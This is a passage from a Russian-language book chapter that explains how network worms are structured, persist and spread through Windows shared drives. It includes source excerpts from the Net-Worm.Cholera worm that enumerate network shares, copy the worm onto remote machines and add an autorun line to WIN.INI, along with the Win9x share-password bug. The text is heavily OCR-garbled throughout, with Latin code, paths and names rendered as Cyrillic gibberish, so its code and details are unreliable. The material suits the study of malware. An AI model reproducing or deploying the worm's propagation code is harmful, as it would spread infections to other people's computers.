443 ТСР НТТРЗ -  заидииденнмй доступ к\АЛЛЛ1У-страницам
445 ТСР/1ЮР Прямой доступ к Ме1ВЮ5 средствами ТСР/1Р
500 1ЮР 15АКМР -  служба обмена цифровими 

сертификатами
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Таблица 6.1. Наиболее популярншв порти (окончание)

Порт Тип
пакета Служба

512-514 ТСР ЕХЕС, 5НЕИ. -  удаленное управление 
компьютером

546,547,67,68 1ЮР ОНСР -  динамическое назначение 1Р-адресов
989-995 ТСР ЗЗЬ/ПЗ -  зашишеннне вариантм интернет- 

протоколов
1433, 1434 ТСР Доступ к М5 501
1900,5000 ТСРДЮР 11РНР -  унифицированное обслуживание Р1ид-апс1- 

Р1ау
3128,8080 ТСРДЮР Пользовательские Ргоху
3306 ТСР Доступ к Му50Ь
5190 ТСР 1СО -  «Аська»

Таким образом, если на компьютере запушена задача, принимаю- 
Шая ТСР- или ОВР-пакеть! с определенним номером порта, то 
считается, что данннй порт «открьл». В роли «открьхтого» порта 
может вмступать не только компонент операционной системи или 
легально проинсталлированная пользователем серверная служба, 
но и «висяший» в памяти вирус. «Закрнть» порт можно, принуди- 
тельно завершив соответствуюшую задачу (что очень не рекоменду- 
ется делать, например, с системними процессами типа «Ь5А55» или 
«5\7СН05Т») или заблокировав доступ пакетов к ней при помоши 
файрволла (брандмауэра).

Список открьггнх портов можно посмотреть на самой машине при 
помоши командн «Ме15Га1 -а» (или «.\теСз1а1 -о» -  для \Ушсз1о\уз МТ). 
Очень удобна для этих целей >тилита ТСРУ1е\у от 5уз1п1:етаЬ. Если 
же интересует список открмтнх портов, видиммх «снаружи», то мож- 
но воспользоваться каким-нибудь сканером портов типа Н т ар  или 
ХзрИег, а также интернет-ресурсом вроде ЬИр: / / аесипгу.вутапГ.ес. 
с о т  или ЬгТр://8сап.5У£аСеСесЬ.сот.

6.2.6. Сетевое программирование.
Интерфейс сокетов
Прямое обрашение к драйверу сетевого адаптера или сетевой подси- 
стеме операционной системн весьма сложно. Поэтому для досгуиа 
служб и прикладнмх программ к сети используется универсальньхй 
программньпх интерфейс сокетов. Пользуются им и сетевме службьх 
операционной системм, и прикладнме программм... да и вирусм тоже 
не брезгуют.
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Фактически сокет -  это некий абстрактньш объект, играюший роль 
«двери»-, через которую программнмй компонент может принимать и 
посмлать даннне. Кажднй сокет в процессе создания и инициализа- 
ции жестко привязнвается к определенному 1 Р-адресу и порту, кроме 
того, для него указнвается способ передачи данннх:

О  отдельннми дейтаграммами (по протоколу 1ЮР);
О  с установлениемпостоянного соединения (по протоколу ТСР);
О с «ручннм» формированием структурн переснлаемого пакета 

(в \Ўтс!о\ь'з этот способ реализован в сильно урезанном виде).
Первоначально сокетн бьтли разработанн и реализованьт специа- 

листами Университета Беркли в операционной системе В51) 1Ж1Х. 
Эта реализация практически без изменения перекочевала на все 
1Ш1Х-подобнне системн. Кроме того, интерфейс сокетов оказался 
настолько удобннм, что программистн фирмн Млсгозой создали его 
аналоги не только для М псЬте (эта подсистема получила наимено- 
вание \Утзоск), но и для М8-1)05!

Одновременно на компьютере могут присутствовать несколько 
версий подсистемн Ш1п5оск. Основной набор сервисннх функций, 
соответствуюших версии 1.1, содержится в библиотеке «Ш50СК32. 
БЬЬ». Более «продвинутая» версия 2.2 (она используется, начиная 
с \Утдо\уз 05К-2) распределена по библиотекам «\У52_32.ВЬЬ» и 
«М5\¥50СК.ВЬЬ». Впрочем, в версии 2.2, по сравнению с 1.1, не 
только появились новне средства, но также ряд удобннх и привнч- 
ннх для программистов функций бнл удален. Не удивительно поэто- 
му. что некоторне сетевне вирусьх используют возможности обеих 
версий, импортируя функции изо всех трех библиотек.

При организации сетевого обмена чаше всего применяется сравни- 
тельно небольшой набор сервисннх функций:

О  «\¥5А51аг1ир» -  инициализирует работу с сокетами;
О  «\У5АС1еапир» -  отменяет инициализацию подсистемн со- 

кетов:
О «зоскеС» -  создает объект типа «сокет»;
О «с1озе$оске(> -  уничтожает объект типа «сокет»;
О «Ьхпс!» -  привязмвает сокет к конкретному порту и адресу;
О «Нз1 еп» -  прослушивает «эфир», ожидая запроса;
О «ассер1 » -  устанавливает связь со сторонн сервера;
О «гесу» или «гесу(гот» -  считнвает пришедшие даннне;
О «соппесг» -  пнтается установить соединение с сервером;
О «зепс! .> или «5етк)1 о» -  передает даннме.
Практически весь сетевой обмен между клиентами и серверами 

устроен по одной и той же схеме (см. рис. 6 .2 ).
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Кпиент Сврввр

Котц?

ДаI     ......
I с1о5е&оске<()

  1 ......
| УУЗАОеапирр |

Конец?
'Да

с1о8е5оске>() |

ШАС)вапир(}

Рис. 6.2 ❖ Алгоритм клиент-серверного взаимодействия

Важную роль играют также функции «Ьсопх». «Ь(:опЬ, «пСоЬз» и 
«н1оЬЬ>, меняюшие порядок байтов в данннх. Дело в том, что в сетях 
принят порядок байтов, обратннй используемому в процессорах 1п<ж1.

В ХУтйодаз также имеются стандартние библиотеки (например, 
«МРК.БЬЬ»-), предоставляюшие программистам более внсокоуров- 
невне сервиснне фз^нкции, так что вся работа с сокетами скрнта 
внутри них.

6.3. Типовью струюура 
и поведение профаммьнчервя

...И тотчас из муттй вспенетюй води ви- 
нирнули и кинулись десятки оскаленньис зу- 
бастих пастей...

А. и Б. Струтацкие. «Полдень, XXII век»

Типичньш современнмй червь представляет собой автономную про- 
грамму, вьшолняювдуюся в 32- и 64-разрядннх версиях \У1пс1ош5. Он
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не заражает никаких других программ, поэтому требование компакт- 
ности кода для него не слишком актуально. В большинстве случаев 
он даже пишется на каком-нибудь язьже внсокого уровня -  на С, 
Ое1рШ, У1зиа! Ваз1С и т. п. Чтобн затруднить работу вирусологу, зло- 
вредная программа частенько обрабатьгеается каким-нибудь внеш- 
ним упаковшиком или шифроввдиком типа АзРаск, АзРго1 ес1 , ЪТРХ, 
РЕСотрас1 , РЕ-СгурС, сЕЬск, Агтас1Шо и т. п., а то и несколькими 
сразу.

Обьгчно профамма-червь не имеет окна (то есть в ней отсутствуют 
внзовн функций «Ке§181егС1а55» и «Сгеа1 е\¥1пс1о\у») и представляет 
собой постоянно находяшийся в памяти процесс. Важной особенно- 
стью большинства червей является их многопоточность: зловредная 
программа оформляется в виде нескольких зацикленннх потоков, 
каждьш из которнх непрернвно вьшолняет определенную операцию. 
Основннх операций две:

О «закрепление» на компьютере, чтобн обеспечить себе автоза- 
пуск при каждой перезагрузке;

О  распространение по сетям на другие компьютерн.
Но встречаются черви, которне внполняют массу других «вспомо- 

гательннх», типично троянских операций:
О обновление себя по сети с удаленннх машин;
О  расснлка «спама»;
О сбор и отснлка вирусописателю-«хозяину» конфиденциаль- 

ннх сведений о машине и ее хозяине;
О внполнение команд, приходяших от вирусописателя-«хозяи- 

на» или от другого экземпляра червя, типа -  «стереть такой-то 
файл», «переадресовать такой-то ТСР-пакет», «послать запрос 
по такому-то 1Р-адресу» и т. п.

Иоследняя группа операций характерна для так назнваемнх «зом- 
бированнмх» машин, входявдих в состав «ботнета» -  группн зара- 
женннх машин, совместно внполняюидих какие-либо не предусмот- 
реннне хозяевами, но необходимне злоумншленникам действия.

Многопоточность червя означает, что отдельнне операции внпол- 
няются несколькими потоками («нитями»), например один из них 
расснлает файл червя по машинам локальной сети, другой делает то 
же самое средствами электронной почтн, третий пнтается подобрать 
пароль к хосту и т. п. -  см. рис. 6.3.

Обмчно вируснмй процесс при первом запуске взводит флажок 
своего наличия памяти при помоши механизма семафоров или мью- 
тексов. При повторннх запусках он проверяет состояние флажка и
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Рис. 6.3 ❖ Типичнмй апгоритм работм сетевого червя

прекрашает работу, если копия вирусного процесса уже «сидит» в па- 
мяти. Отсюда внвод: зная имя синхронизируювдего объекта (напри- 
мер, одна из версий червя ХУогт.ХУшЗ^.ОразоЙ; создавала мьютекс 
«Си$(:ауоВ150), можно запустить свой «вакцинируювдий» процесс, 
котормй не пустит «зловреда» в память.
НАИ01Е П;
(1 = Сгеа*еНугех( МЦЦ, ТВ11Е, "СизтаУоСхзт" );
Н  ((6еШаз1;Еггог()==ЕВй0й_А1йЕА0У_ЕХ13Т8)| |(!И )) {
МеззадеВох(0, "Мог* зТагтес! а1геайу!", ”А1агв!", 0); 
ех11;(0);

}
*П11е (1) { / /  Бесконечннй циқл 
$1еев(0);

}
Потоки вирусного процесса работают параллельно, виполняя 

в бесконечном цикле некие операции. Например, червь может копи- 
ровать себя на все машинн локальной сети. Или поснлать себя в виде 
письма по определенному списку адресов. Потом евде раз... И еше... 
И так до бесконечности. Таким образом, если вн сидите за клавиату- 
рой подключенной к сети и атакуемой машинн, то уничтожение об- 
наруженной на диске копии червя приведет лишь к тому, что через 
некоторое время появится новая его копия. Или придет егце одно за- 
раженное письмо. Обнчнмй антивирус, даже работаюший в режиме 
монитора, не спасет от появления сетевой «заразм». Поздно уничто- 
жать ее, когда она уже пришла и лежит на диске в виде файла, ее надо 
блокировать ехце «в пути» -  при помовди файрволла (брандмауэра).
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Предположим, что червь уже крутится в памяти машинн, и мм 
чглазками» видим его файл в одном из каталогов диска. Пусть, для 
определенности, это будет № 1>\У0 пп.В0 2 0 п.Ь (он же 2Ио4оЬ.Ь). Из- 
любленннми местами, куда сетевне черви копируют свое тело, явля- 
ются:

О корень диска «С:\»;
О  к а т а л о ги  о п ер ац и о н н о й  си стем ь1 «С:\\\^пс1олу5» и л и  -«С:\ 

\¥1пМТ»;
О  системнне каталоги «С:\\\71пс)о\у5\ 5 У8 ТЕМ»- или «С:\'МпНТ\ 

5У5ТЕМ32»;
О каталош автозапуска, например «С:\ОоситепСз апс! 8 ей;т£5\  

Бе&ик ШеЛДлавное меню\Программн\Автозагрузка»;
О каталоги временннх файлов «С:\ТМР», «С:\ТЕМР», <С:\ 

\¥ 1П(1о\У5\ТЕМР» и прочие;
О каталоги удаленннх файлов « С:\ ЯЕСУСЬ ЕО », «С:\

КЕСУСЕЕК», «С:\$КЕСУСЬЕ.ВШ» и т. п.
Последние две группь1 каталогов «хороши» тем, что для записи 

в них не требуется никаких привилегий. Любая программа, запу- 
шенная от имени любого пользователя, способна размевдать там свои 
файлн даже в условиях жесточайше настроенной политики безопас- 
ности.

Обьшно файл червя имеет «свежую> дату создания и какое-ни- 
будь «псевдосистемное» имя. Например, для № £-\\Ьгт.В 0 2 0 П.Ь это 
«\У1МТВРХ.ЕХЕ».

С: . .  \ Разиер Яата
«1п5[а Ш1 39184 1 9 .№ .0 3
<*1П5(ГП 411 21776 1 9 .0 6 .0 3

10878 1 0 .1 2 .0 5
и!п(ги5( (111 166160 1 9 .0 6 .0 3
(йпиег ехе »368 1 9 .0 6 .0 3
«ггидг ехе 27408 1 9 .0 6 .0 3

■111 9886*1 1 9 .0 6 .0 3
М1Ь5 ехе 30992 1 9 .0 6 .0 3
»1Ь5с(:г1 (111 26696 1 9 .0 6 .0 3

»1п1:Ьрх.ехе 10878 1 0 .1 2 .0 5

Рис. 6.4 ❖ Червь В020Г1 в каталоге 
С:\\Л/1МтЛ5уз*ет32

Подтвердить подозрение поможет наличие одноименного процес- 
са в памяти компьютера (см. рис. 6.5).
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Припожения Процессь! | Бьктродействие |

Иидобраза 1 р ю | ЦП | Врепя ЦП | Память 1 ▲
Ьф5УС5.ехе 612 00 0:00:02 5 236 КБ
$усЬоЯ.ехе 632 00 0:00:03 11 072 КБ

676 00 0:00:00 1 740 КБ
«4СОг.$у5 704 00 0:00:00 1092 КБ
гедзус.ехе 736 00 0:00:00 836 КБ
т$(а5к.ехе 856 00 0:00:00 3 532 КБ
«■яге.ехе 952 00 0:00:02 4 624КБ
гедеА.ехе 964 00 0:00:01 168 КБ
0с32.ехе 1000 00 0:00:05 1 728 КБ
дк.ехе 1088 00 0:00:00 3 732 КБ
пе(п^о.ехе 1160 00 0:00:02 11 980КБ
ехр1огег.ехе 1168 00 0:00:14 2 632 КБ
(авкшдг.ехе 1276 01 0:00:03 2 128КБ

Мете(.ехе 1432 00 0:00:00 1 276 КБ

Завершить процесс ]

Процессов: 30 Загрузка ЦП: 100% Паиять: И9584К/471740К

Рис. 6.5 ❖ Процесс червя Вогоп в памяти компьютера

Также очень красноречивм строки в конфигурадионнмх файлах 
или ключи Реестра, обеспечивакмцие автоматический запуск червя 
после перезагрузки компьютера (см. рис. 6 .6 ).

1й Редактор  реестра
Реестр []равка Внд Избранное £праека |

__| Р.е1ав1Ьу

Л
__1 ЯипОпсе
__| ЯипОпсеЕх

♦ __| 5е(ф
_ |  5Касей0и_5 

+ 1 5Ье11 Нх1:епдоп5

—

Иня Тип Значемие
Д (П о  уиолчанио) Я£С_52 (значение не присеоено)
ЙА^Натроо Ғ»е<#а| КЕС_52 ‘ С:\Ргодгат Ғ1е$\А5Ьатрос
* ] , - п В ; . . е . е  = = : - .5 :  - , г , » - . е : е

<1 <1 1 и
Мойкомпьютер\НКЕУ_10СА1_МАСНШЕ\50Ғ™АЯЕ\М1сгояЛ\УУ1пе)о»5\Сиггеп№ег$юп1Кип

Рис. 6.6 ❖ Ссмлка на файл червя В020П в Реестре

Итак, довольно часто вирусньга файл виден «невооруженньш гла- 
зом». Попробуем «убить» его ғфучиую. Конечно, \¥|'пс1о\\г8 не позво- 
литудалить файл вмполняюшейся программм. Но в \¥ 1гк1о\\'5 К'Г воз- 
можно переименование такого файла, например из «У1п1 ВРХ.ЕХЕ»
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в «УтсВРХ.ЕХ_». Также можно, пользуясь утилитой КЕСЕВ1Т, уда- 
лить созданннй червем ключ Реестра «НКЬМ\8 о{<луаге\М1сго5о!1\  
\¥1п<1о\У5\Сиггеп(;Уег81оп\Кип\\\;1ПСЬрх.ехе = ичпГЬрх. ехе>. Значит 
ли это, что программа-червь обезврежена и после перезагрузки не 
получит управления? «Увн» и «ах». Дело в том, что вирус в одном 
из своих потоков непрермвно сканирует окружаюгцую обстановку и, 
обнаружив, что пропали нужнмй файл и нужная запись в Реестре, 
немедленно восстанавливает их на прежних местах. Для этого он ис- 
пользует «справочную» копию себя, имеюшую какое-нибудь «серое» 
имя и положенную в какое-нибудь «незаметное» место на диске -  
например, «С:\Рго§гат ҒЛе5\ВООТЮ С.ТХТ». Таким образом, все 
наши трудм пойдут насмарку. Внвод: прежде всего необходимо найти 
вирусннй процесс в памяти (если, конечно, он не использует гооСкИ- 
технологий) и «застрелить» именно его.

Таким образом, типичньш червь, несмотря на свою внешнюю при- 
митивность, порой способен упорно бороться за жизнь и место под 
солнцем. В принципе, досконально разбираясь в повадках этого хит- 
рого электронного сугцества, можно удалить его с зараженной маши- 
нн и «голнми руками». Но лучше все-таки поручить эту работу анти- 
вирусу. Которнй, кстати, можно написать самостоятельно.

6.4. Как вирусь! и черви 
распространяются

-  Лично я, -  сказал он, -  лежатъ на плавни- 
ке не совепгую. Там всегда несметно песчангях 
блох.

А. и Б. Струтацкие.
«Возвравдение» («Полдень. XXII век»)

Самопроизвольно, по вдучьему велению и по своему хотению, вирус 
с машинн на машину по сети переместиться не может. Узлн сети 
должнн бнть предварительно настроенм на обмен данньми по тому 
или иному протоколу. На узле-приемнике должен постоянно ждать 
запросов какой-нибудь сервер, а вирус, живугций на узле-источнике, 
должен замаскироваться под законопослушньш клиент, жаждуший 
обменяться с сервером какими-нибудь легальньши даннмми. Либо 
наоборот, вирус должен прикинуться сервером и послушно вьшол- 
нять все запросн доверчивого клиента, поснлая ему, однако, вместо
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запрошеннмх легальньгх даннмх -  себя, любимого. Рассмотрим наи- 
более часто применяемне вирусами способн.

6.4.1. Черви в локальнмх сетях
Современнне локальнне сети не обязательно связнвают близко рас- 
положеннне компьютерн. И не обязательно этих компьютеров мало. 
Нередко в локальную сеть организации оказнваются включенн не 
три-пять, а несколько сотен узлов, разбросанннх по разннм этажам 
нескольких зданий. И на них иногда обитают «сетевне черви».

Средой обитания таких червей являются открнтне для обшего 
пользования (как говорят, «расшареннне») ресурсн локальной се- 
ти -  диски и каталоги. Службм доступа к сетевнм ресурсам внпол- 
няют одновременно и клиентскую, и серверную роли, так что любая 
машина с такими службами может служить и целью для вирусной 
атаки, и источником распространения «заразм» по сети.

Для прикладной программн «сетевой дис:к> или «сетевой ката- 
лог», расположенньш на чужом компьютере, доступен так же, как и 
собственнне ресурсм. Диску или каталогу можно назначить новую 
«букву» (например, «Д>). Из каталога в каталог можно переходить 
при помоши системной функции «ЗеИСиггепШцесгогу». открнвать 
файлн при помоши «СгеаСеҒИе», читать и писать в них при помоши 
«Кеа<Ш1е» и «^УпЬеҒЛе», удалять, копировать их и т. п. Более того, 
все это могут делать даже МЗ-ГЗОБ-программн через «1КТ 21Ь».

Ограничения, конечно, имеются: доступнн только явно «расша- 
ренние» ресурсн. Например, если открьгг на доступ диск то
диск «С> остается невидимьш. Если же открнт каталог «С:\Рго§гат 
ҒПе5», то доступнн все файлн во всех его подкаталогах (например, в 
«С:\Рго§гат Ғ11е5\Ассе55опез»), а файлн в других каталогах -  нет. 
Впрочем, в \¥1п(1о\Уз младших версий присутствовала ошибка, позво- 
лявшая обрашаться к неразрешенннм ресурсам посредством симво- 
лического обозначения «..» (вншележаший каталог), например так: 
«(1е1 С:\Рго§гат Ғ11 ез\.,\\У1п(1 ои'з\\¥ 1К.СО М ». Но эта ошибка дав- 
ннм-давно исправлена.

Другое важное ограничение -  владелец «расшаренного» ресурса 
имеет возможность установить для внешних «посетителей» уровень 
доступа к нему:

О только чтение;
О определяется паролем;
О полньтй.
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Поддерживаются два режима передачи пароля: 1) в виде строки 
текста; 2) в зашифрованном виде. Во всех разновидностях \¥тс1о\\’5 
9Х имелась вопиювдая ошибка (описанная в бюллетене М1СГ050Л 
с индексом М500-072), связанная с проверкой правильности неза- 
шифрованного пароля. Дело в том, что присланннй пароль сравни- 
вался с эталонньгм примерно в таком стиле:
1 п+ сНеокраззС спаг *разз, сйаг *е1:а1оп) { 

тог (ш г  1=0; 1<з1т1еп(рэзз); 1++) (разз[1]!=ета1оп[1]) геТигп ВА0_РА55;
геТигп РАЗЗ_0К;

Количество сравниваеммх символов определялось не длиной эта- 
лона, а длиной пробного пароля. Таким образом, злоумьшленнику 
для доступа к сетевому диску достаточно бнло правильно подобрать 
всего лишь первую букву!

Ошибка бьша исправлена патчами от М1сгозоЙ:, которне, как во- 
дится, вншли с опозданием, сувдествовали не для всех систем и по 
умо.тчанию в диетрибутив \¥1пс1о\\'8 не бнли включенм, так что их 
приходилось где-то искать и откуда-то скачивать. Короче говоря, 
парольная завдита сетевнх дисков в \Утс1о\У5 9Х ни от кого и ни от 
чего на самом деле не завдивдала. Иное дело -  'Л'тс1о\У5 НТ. В этих 
системах и сравнение строк реализовано корректно, и шифрование 
передаваеммх паролей добавлено. Точнее, это не совсем «шифрова- 
ние». Получив запрос на доступ, сервер с «расшаренннм» ресурсом 
генерирует случайное число и отснлает его клиенту. Клиент шифрует 
число с паролем в качестве ключа и возвравдает назад. Сервер пнта- 
ется расшифровать поснлку эталонньм паролем, и если результат 
этой операции совпадает с первоначально сгенерированннм числом, 
считает, что пароли совпали. Таким образом, от машинм к машине 
сам пароль просто не передается, и перехватить его не получится. Но 
если в локальной сети присутствуют и \¥1пс1о\\'5 9Х, и \\'1Пс1о\\'5 N1', 
то пароль в целях совместимости все равно будет передаваться в виде 
незашифрованной строки.

Удобство работа с сетевмми дисками в современннх версиях \¥ш- 
<1о\\’5 базируется на транспорте ТСР/1Р и обеспечивается службой 
С1Ғ5, инкапсулируювдей работу нескольких сетевмх протоколов: 
NесВIО8Же1:13ЕI;I и 5МВ. Кроме того, в версиях \\т(1о\\'5, вн- 
пувденнмх до 2000 г., в работе службм сетевнх дисков участвовал 
гцюмежуточнмй протокол НВТ, доступньш через портн 137-139 и 
отвечавший прежде всего за преобразование 32-битового 1Р-адреса 
в N(-1 ВЮ5 имя. заданное в виде строки длиной не более 15 симво-
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лов1. В более поздних версиях ТОп^ошз программистн МкгозоЛ 
обошлись без КВТ, реализовав «прямой» доступ к С1Ғ5 -  через порт 
445. Современнме версии АУтсЬлга используют оба метода и пускают 
к сетевмм дискам и каталогам как через порт 445, так и через 137-139 
(см. рис. 6.7).

Протокол 5МВ непосредственно взаимодействует с файловой си- 
стемой. За проверку паролей, просмотр сетевнх каталогов, передачу 
файлов и т. п. отвечает именно он. Но довольно часто 5МВ не прове- 
ряет никаких паролей, так как сетевне диски самими пользователями 
открнтн на полннй доступ.

Это обстоятельство очень удобно не только для пользователей, но 
и для сетевнх червей. Их работа базируется на трех внсокоуровневнх 
АР1-функциях из библиотеки МРК.БЬЬ:

О «\\ТЧте10репЕпит» -  открнть сеанс перечисления;
О «\У7ч;есЕпитКезоигсе» -  перечислить доступнне сетевне ре- 

сурсн (серверн, диски, файлн и т. п.);
О «\УКе1 ТС1о5еЕпшп» -  завершить сеанс перечисления.
Эти функции с успехом используют и некоторне \У1пс1ош5-вирусь1 , 

которнх мь1 не относим к числу «истиннмх» червей, например \У1п32. 
Кпх.4029, \Ут32.Ғип1оуе,4070 и прочие. Они сканируют в локаль- 
ной сети открнтне сетевне диски и заражают все, что попадется под 
руку. «Истиннне» же черви просто копируют себя на сетевне диски, 
не заражая никаких программ. Как правило, они прописнвают себя 
в конфигурационнне файлн \¥ 1П(1о\уз (например, в Реестр), чтобн 
после перезагрузки запуститься и продолжить расползание по сети.

Работу типичного сетевого червя изучим на примере ^ е 1 -\¥огт. 
СЬо1ега, исходньга текст которого бмл размевден в электронном жур- 
нале «29 А» и которнй послужил образцом для многочисленннх позд- 
нейших вирусннх разработок.

1 Точнее, имя узла по правилам \'е!:ВЮ5 состоит из 15 текстовнх сим- 
волов и 16-го байта, содержашего тип ресурса.

1
С1Ғ5

Рис. 6.7 ❖ Протоколм, 
реализуюидие «расшаривание» ресурсов
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За сканирование локальной сети в этом черве отвечает очень прос- 
тая рекурсивная функция (ее текст для опубликования в книге слегка 
видоизменен):
УО10  МеТйОгл1 1 г!д( 1РМЕТИЕ80иЯСЕ 1 р п г)  {

1РНЕТЙЕБ0иКСЕ 1рпг1_оса1; НЛМ01Е ИЕпиш; шИ соипг;
т г  с Е п г П е з  = ОхҒҒҒҒҒҒҒҒ; ОйОйО ОяНв к у ; ; ; 0М0В0 сйВ иҒҒег = 32768 ;

1Т ( МеЮрепЕпит ( НЕ30ЦҒ1СЕ„С0МНЕСТЕ0,
ЯЕЗСШНСЕТУРЕ.АНУ, 0, 1рпг, &^Епипп) I = М0_ЕВВ0Н) геТигп  ;

ОО {

1рпг1оса1 = ( 1_РМЕТ8Е801)ВСЕ) 01ооа1А11ос( ОРТй, сВВуТГег) ; 
ймЯезиН = ММегЕпияЯезоигсеС пЕпиш, &сЕпгпез, 1рпг1оса1,&сЬВиТ?ег) ;
1Т ( с«Яези1г == М0.ЕЯЧ0Я) {

Т о г (  с о и п т = 1 ; с о и п г < сЕ п 1 г1 е з  ; соипт+ +  ) {

1Т ( 1рлг|_оса1[ соиптЗ.йиЦзаде & ВЕ80иНСЕЦЗАСЕ_С0МТА 1ИЕН) {
Нетй0гш1пд( Лрпг|_оса1[ соипт]);

}
е1зе 1 Т ( 1рпПоса1[ соипТ] . уре = ЯЕ801)НСЕТУРЕ_018К) {

Яеи0те1пТесТ10п( 1рпПоса1[ соипг}. 1рйеко1е№ме) ;
}

}
}
е1зе 1 Т (амЯези1Т != ЕйН0Я_Н0_М0ЯЕ_1ТЕМ5) Ьгеак ;

} «пИе ( йкЯезиП != ЕВВ0В_Н0_И0ВЕ_ 1ТЕНЗ) ;
С1ооа1Ғгее ( ( НСЮВАг) 1рпг|_оса1) ; 
йМеТС1озеЕпиш( НЕпиш) ; 
гетигп ;
}

Эта функция при помоши системного вмзова « \¥ ^е 1;ЕпитКе- 
зоигсе» перечисляет все доступнме сетевме ресурсн и получает в поле 
«с1\\'Иза£е» признак типа ресурса. Для ресурсов типа «контейнер» 
(то есть для рабочих групп, доменов и отдельннх машин) функция 
вновь рекурсивно вмзнвает саму себя, чтобм проникнзггь еше глубже 
в логическую иерархию и добраться до дисков и каталогов. Сетевне 
имена в формате КегВЮЗ начинаются с двух обратннх слэшей «\\». 
Просканировав дерево сетевнх ресурсов, червь может увидеть при- 
мерно следуювдее (см. рис. 6 .8).

____________ (N1)1.1)___________
(ууоккекоир) (винеди)

» 1 1 """"»
(\\В055) (\\АМ Ш ) (ЛСЕКРЕТАРб) (\\С1АУВих) (\\ЕКОМОМ18Т)

I 'ЛВ088Ш  I \\СЕКРЕТАР6\ТЕХТ I- \\ЕКОМОМ15Т\С
I- \\СЕКРЕТАР6\ТЕТ«13

Рис . 6 .8  ❖ Пример дерева «расшаренних» ресурсов
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Собственно говоря, червю ^еЬ-ЛУогт.СЬоЬга вполне достаточно 
знания сетевнх имен «расшаренннх» дисков и каталогов. Он, не осо- 
бенно «заморачиваясь», считает все полученнне объектн корневнми 
каталогами диска, на котором проинсталлирована операционная си- 
стема \Ушс1о\уз. И действуя фактически вслепую, пнтается обратить- 
ся к удаленному конфигурационному файлу « \¥ 1Н.1Н1» и вписать 
в него строку «гип=КРСЗКУ.ЕХЕ».
сЬаг 52кй.п(Пг00[]={'«1М00М5'}; 
е П а г  5 гИ 1 п й 1 г 0 1 [1 = {  '1« /1№ 5'); 

с п а г  5 2 « 1 п !Л г 0 2 [1 = {  ' Я № 8 ' ) ;

С^эг 5гМ1Н_Ш[]={’М1М.Ш');

с Ь а г  зг5У5ТЕН_ЕХЕГ] - { ' ЙРС5НУ.ЕХЕ' ) ;

у о 1й Я еяг01:е1пТес1:10п( с М а г  « з г Р а Т И )  {

сИаг *й1г_паше[5]= { з2М1псИг00, 52М1пс)1г01, з2М1п<Лг02, 32й1пс)1гОЗ, згИшсЛгОФ } ; 
ИПШ_Ғ1Н0_0АТАА Ғ1 Пй0а1:а ; НАМОЬЕ пҒ1пс! ; Смаг згХоокЦрГ МАХ_РАТН1 ; 
сЛаг иОгпОгдГ МАХ_РАТН] ; сИаг и0гй03з1[ МАХ.РАТН] ; ьпТ аих ;

Тог ( аих = 0 ; аих < 5 ; аих++ ) {
зрПптТ ( 321оокУр, ”%з\\*з%8", згРаТИ, С1г_пагае[аих], згМИСИЛ) ;
1 т ( ( пҒшс) * Ғ1пвҒ1гзгҒИеА( $г1ооК()р,

( |_РИШ2_Ғ1М0_ВАТАА) &Ғтб0а1:а)) != ША!_10_НАНС'1.Е_УАШЕ) {
зрг1п1Т( м0гп038(, "%з\\*з\\%5'\ згРаУ), <)1г_паяе[аих], зг8УЗТЕИ_ЕХЕ) ; 

1Т ( СеТМос!и1еҒ11е№г1еА( И1Л1, иОгтОгд, МАХ_РАТН) ( =0)  {
1Т ( СоруҒ11еА( иОгглОгд, «ОгпОЗзТ, ТҒШЕ) != 0) {

Мг1-1еРг1уагеРгоҒ11еЙг!пдА( згМ1тЛг00, "гцп", згбУЗТЕН.ЕХЕ, згиюкЦр); 
Ғ1пс1С1озе (ПҒ1па); Ьгеак ;

}
Ғ1паС1озе (ИҒ1пй) ;

Потом, действуя аналогичннм же образом, червь перетаскива- 
ет себя в файл «КРС5КУ.ЕХЕ» на удаленной машине. Разумеет- 
ся, огромное число безуспешньхх попнток будет затрачено червем 
на доступ к заведомо несушествуювдим каталогам и файлам типа 
«...ТЕТК15\\УШ БО\¥5\\УШ .Ш Ь. Но небольшие шансн хотя бн 
однаждн угодить в реальннй каталог «С :\\¥  1К 0 0\У 5» и вписаться 
в реальньш файл «\У11ЧТ.Ш1» у него имеются, не так ли?

Многие более продвинутне сетевне черви идут дальше: получив 
сетевне имена дисков и каталогов, подключаются к ним при помо- 
вди функций «\¥ NеГ.ЛсМСоппесГтоп» и «\¥ NетЛс!с!С’.<)ппес 11 оп2 ». Это
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позволяет им назначить ресурсу б}'кву типа использовать (или 
подобрать) логин и пароль для доступа и т. п. Так поступает, напри- 
мер, червь № 1-\¥огт.1ло1еп (он же 1га^\Уогт). Есть черви, которме, 
посетив машину, при помоиди системной функции «Ке(;5ЬагеАс1с1» 
открмвают все имеювдиеся диски на полньш доступ, делая ее совер- 
шенно беззавдитной перед нашествием как этого, так и любмх других 
сетевмх червей.

Наиболее совершенную технику сканирования и заражения сете- 
вмх ресурсов демонстрируют черви семейства Шэгш.ОравоЛ (или 
Ораяегу). Они не используют вмсокоуровневмх функций типа «\УКеЕ- 
ОрепЕпит» или «\УНесАс1с1Соппесйоп», а вместо этого создают со- 
кета, самостоятельно формируют КЕТВЮБ-пакетм и обмениваются 
и м и  с заражаемой машиной. Вдобавок черви перебирают всевозмож- 
нме однобуквеннме пароли сетевнх ресурсов и, таким образом, прони- 
кают на компьютерн, работакмцие под управлением \Утс1о\Уз 9Х.

Неминуемо должен возникнуть вопрос: а не может ли червь под- 
ключиться к «расшаренному» сетевому ресурсу машинм, не зная 
ее НЕТВЮ5-имени, а только 1Р-адрес? К сожалению, на него сле- 
дует ответить положительно. Оказмвается, функция «\УКе1 Ас!с1- 
Соппесйоп2» позволяет использовать в качестве имени подклю- 
чаемого ресурса строку вида «\\<1Р-адрес>\<Диск>», например 
«\\111.111.111.111\С». И это означает, что черви, используювдие 
данную особенность (например, \Уоптг.Вутег, ХУогт.Ораяой, N61- 
\¥огт.Кап<1оп и прочие), не ограниченн в своем распространении 
только локальной сетью. Они вполне могут переползать из сети в 
сеть, путешествуя по всему миру. Вот, например, описание стратегии 
распространения червя \Уогт.ОраяоЛ:.а, взятое из онлайн-энцикло- 
педии антивируса Касперского:

Дла того чтоби найти компьютери-жертви, червь сканирует 
подсети по порту 137 (МЕТВЮЗ Мате 8еп/юе). Сканируются 1Р- 
адреса следуюших сетей:
-  подсеть текушего (зараженного) компьютера (аа.ЬЬ.сс. ??);
-  две ближайшие подсети текушего компьютера (аа.ЬЬ.сс+1.??, 

аа.ЬЬ.сс-1.??);
-  случайно вь/бранная подсеть (за исключением некоторшх «за- 

прешенншх» к сканированию сетей).
